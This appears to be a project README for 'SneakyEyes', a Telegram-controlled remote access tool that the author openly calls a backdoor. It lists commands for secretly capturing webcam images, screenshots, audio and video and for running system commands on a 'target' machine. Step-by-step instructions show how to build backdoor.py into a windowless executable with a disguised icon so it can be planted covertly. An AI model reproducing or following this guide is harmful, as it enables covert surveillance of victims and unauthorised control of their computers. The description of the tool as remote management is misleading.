SneakyEyes - Remote Terminal Bot Overview SneakyEyes is a remote terminal bot for Telegram that allows you to control a computer remotely by issuing various commands via Telegram. You can capture images, screenshots, record audio and video, and execute system commands all through the bot interface. It provides a range of useful features for remote system management, perfect for use in secure environments.
Features Remote Command Prompt: Execute Windows commands like listing directories, copying files, listing running processes, etc. Capture Image: Take a photo from the system's webcam. Capture Screenshot: Take a screenshot of the system's screen. Record Audio: Record audio for a specified duration. Record Video: Record video for a specified duration. System Information: Get details like system uptime, IP address, environment variables, and more.
Command Prompt session activated! Here are some useful commands:
1. **dir** - List files and directories in the current directory
2. **cd <directory>** - Change directory
3. **cd ..** - Go back to the parent directory
4. **cls** - Clear the screen
5. **echo <text>** - Display text
6. **exit** - Close the Command Prompt session
7. **tasklist** - List running processes
8. **ping <address>** - Ping an address or domain to check connectivity
9. **copy <source> <destination>** - Copy a file from source to destination
10. **del <file>** - Delete a specified file
11. **mkdir <directory>** - Create a new directory
12. **rmdir <directory>** - Remove a directory
13. **move <source> <destination>** - Move a file to a different location
14. **tree** - Display the directory structure of the current directory
15. **type <file>** - Display the content of a file
16. **date** - Display or set the current date
17. **time** - Display or set the current time
18. **ipconfig** - Display network configuration
19. **netstat** - Display active network connections and listening ports
20. **systeminfo** - Display detailed information about the system
21. **driverquery** - List installed drivers on the system
22. **hostname** - Display the hostname of the computer
23. **wmic cpu get caption** - Get CPU information
24. **taskkill /f /im <process>** - Forcefully kill a running process
25. **chkdsk** - Check disk for errors
26. **shutdown** - Shut down the computer
27. **restart** - Restart the computer
28. **powercfg /batteryreport** - Generate a battery report (for laptops)
29. **list_apps** - List all installed applications
30. **open_app <app_path>** - Open a specified application by its full path eg:start chrome, start notepad, start winword, start excel, start chrome then link
31. **getip** - Get the external IP address (public IP)
32. **whoami** - Display the currently logged-in user
33. **uptime** - Show how long the system has been running
34. **getenv <variable>** - Fetch the value of a specified environment variable (e.g., `getenv PATH`)
35. **net user** - List all user accounts on the machine
36. **netsh wlan show profiles** - List saved Wi-Fi networks on the system
37. **gettime** - Show the current system time
38. **getdate** - Show the current system date
39. **sfc /scannow** - Run the System File Checker to fix system file issues
40. **start <url>** - Open a URL in the default browser
41. **getservice <service_name>** - Get the status of a specific service
Other external commands:
1. /capture_image - capturing image and sending it to the bot
2. /capture_screenshot - capturing screenshot from target and send it to the bot
3. /record_audio - recording audio for a certain duration of time. eg: record_audio 15 (15sec)
4. /record_video - recording video from target for a certain duration of time. eg: record_video 15 (15sec)
Send any command to execute. Type /stopcmd to end the session.
Installation To run this bot, ensure you have Python 3.7 or higher installed, along with the necessary dependencies.
Requirements Python 3.7+ opencv-python pyautogui sounddevice soundfile python-telegram-bot
You can install these dependencies using pip:
bash pip install opencv-python pyautogui sounddevice soundfile python-telegram-bot Telegram Bot Setup Create a Telegram bot by talking to BotFather on Telegram. Copy your bot's token and replace it in the BOT_TOKEN variable in the script. Replace AUTHORIZED_USER_ID with your Telegram user ID to limit access to authorized users. Commands The following commands are supported:
/cmd: Activate the command prompt session. /capture_image: Capture an image from the webcam and send it. /capture_screenshot: Take a screenshot and send it. /record_audio : Record audio for the specified duration (in seconds) and send it. /record_video : Record video for the specified duration (in seconds) and send it. /stopcmd: Exit the command prompt session. How to Use Start a chat with your bot on Telegram. Send /start to begin the session. If the user is unauthorized, the bot will respond with a "Unauthorized access denied" message. To activate the command prompt session, send /cmd. You can then send commands like dir, cd , ping
, and more to interact with the system. You can capture images, screenshots, record audio, and video using the corresponding commands.
Troubleshooting Error: Unable to capture image or video Ensure that your webcam is accessible and properly connected.
Error: Command not found Ensure that the command is typed correctly and that the session is active using /cmd.
Error: Permission Denied Ensure that the bot is authorized with the correct user ID and token.
License This project is licensed under the MIT License - see the LICENSE file for details.
Contact For any questions or issues, please contact me at @Illusivehacks
USERS PLEASE NOTE THAT SOME FILES LIKE THE backdoor.exe and backdoor.pkg are missing because they are large in size. Kindly follow the instructions below to create your own backdoor successfully
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Create a folder in your computer in a prefered directory.
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Open visual studio code and navigate to file to open the folder you have created.
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Navigate to my github account and access the backdoor.py file and images.ico, you can either download it or copy its content.
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Open the visual studio and create a file by the name "backdoor.py" and paste the code inside the file.
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Move your downloaded image.ico to the same directory as your backdoor.py file
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Download the necessary requirements. Navigate to the run nav and select new terminal Subprocess os cv2 time pyautogui sounddevice soundfile threading telegrambot
USE THIS COMMAND TO DOWNLOAD THE REQUIREMENTS IN THE TERMINAL
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After all requirements are installed, open telegram and search for bot father and id bot to create your bot token and chat id respectively. NOTE: Dont share your bot token and chat id with anyone!! now after creating them navigate to the code and paste them to the appropriate sections indicated by comments.
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Now run the code to check whether the code is working, you can verify it by leaving the code running and opening your telegram and navigate to the bot through the link administered to you after you created the bot. make sure to start you bot it should show case this information below: """ 🌟✨🌙🔒🔑 Welcome to 🔐 SneakyEyes 🔑🌙✨🌟 🚨 by IllusiveHacks 🚨
🛠️ Remote Terminal Bot 🛠️ Use /cmd to activate the Command Prompt session.
🖥️ Capture Image 📸 | Capture Screenshot 📷 🎤 Record Audio 🎵 | 🎬 Record Video 🎥
Enjoy your session! 😎 """
use the /cmd command to activate the command prompt session of the target device at this point the target machine will be your computer coz its currently the one running the code
All the commands to use will be displayed and now you can execute each one of them from your bot to the target device.
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Now after verifying that it working you can navigate to the terminal and convert the backdoor.py to an executable using the command below: step 1.
pip install pyinstallerstep 2. Create the Executable Use the following command to convert your Python script (script.py) into an executable with no console and a custom icon:bash pyinstaller --noconsole --onefile --icon=path_to_icon.ico script.pyExplanation of the flags:
--noconsole: Hides the console window when running the executable. --onefile: Packages everything into a single .exe file. --icon=path_to_icon.ico: Specifies the custom icon for the executable.